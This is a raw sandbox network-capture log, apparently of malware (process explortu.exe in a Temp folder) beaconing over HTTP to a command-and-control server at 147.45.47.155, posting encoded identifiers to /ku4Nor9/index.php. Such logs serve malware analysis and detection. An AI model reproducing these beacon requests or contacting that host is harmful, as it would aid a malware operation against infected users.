Jun 26, 2024 08:16:56.816940069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49786	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:56.929411888 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:57.786103010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:57.787039042 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:16:58.003590107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49787	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:58.116605043 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:58.785052061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:58.785922050 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:16:58.993627071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49788	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:16:59.101937056 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:16:59.768523932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:16:59.769438028 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:16:59.976485968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49789	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:00.086339951 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49790	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:00.114252090 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49791	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:00.246864080 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49792	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:00.258903980 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49793	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:00.381988049 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49794	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:00.393379927 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49795	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:00.507215977 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:01.197587013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:01.198391914 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:01.411134005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49796	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:01.523675919 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:02.189980030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:02.190911055 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:02.441675901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49797	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:02.562463045 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49798	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:02.576174974 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49799	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:02.699028015 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49800	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:02.726151943 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49801	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:02.851984024 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:03.533268929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:03.534091949 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:03.743638039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49802	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:03.853482962 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:04.544584990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:04.545507908 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:04.757738113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49803	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:04.867456913 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:05.537862062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:05.538861036 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:05.746390104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49804	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:05.870745897 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:07.305788994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:07.306655884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
